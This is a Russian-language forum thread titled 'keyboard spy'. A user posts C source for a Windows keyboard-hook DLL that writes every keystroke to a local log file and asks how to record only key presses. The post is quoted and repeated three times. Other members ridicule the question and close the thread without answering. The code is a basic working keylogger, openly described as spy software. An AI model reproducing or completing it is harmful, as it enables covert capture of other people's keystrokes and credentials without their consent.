шпиончик клавиатурный
скачал с инета исходник простого сниффера клавиатурного.не могу додумать как сделать чтобы в лог записывались только нажатия клавиш.а то у меня получаеться что в лог идет нажатие клавиши и отпускание клавиши....
extern "C"_declspec(dllexport)LRESULT CALLBACK
KeyboardProc(int code,WPARAM wParam, LPARAM lParam);
//-----------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
FILE *f;
if((f=fopen("C:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
Я так понимаю нужно code присвоить значение HC_ACTION. Но как???:eek:
Цитата: Assu
добрый день.
скачал с инета исходник простого сниффера клавиатурного.не могу додумать как сделать чтобы в лог записывались только нажатия клавиш.а то у меня получаеться что в лог идет нажатие клавиши и отпускание клавиши....
extern "C"_declspec(dllexport)LRESULT CALLBACK
KeyboardProc(int code,WPARAM wParam, LPARAM lParam);
//-----------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
FILE *f;
if((f=fopen("C:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
Я так понимаю нужно code присвоить значение HC_ACTION. Но как???:eek:
скачал с инета исходник простого сниффера клавиатурного.не могу додумать как сделать чтобы в лог записывались только нажатия клавиш.а то у меня получаеться что в лог идет нажатие клавиши и отпускание клавиши....
extern "C"_declspec(dllexport)LRESULT CALLBACK
KeyboardProc(int code,WPARAM wParam, LPARAM lParam);
//-----------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
FILE *f;
if((f=fopen("C:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
Я так понимаю нужно code присвоить значение HC_ACTION. Но как???:eek:
Вопрос из разряда - я купил машину - как включить передачу?. Вопрос в номинацию - самый глупый вопрос месяца. Тема закрыта.
тренеруйся на хелловорде.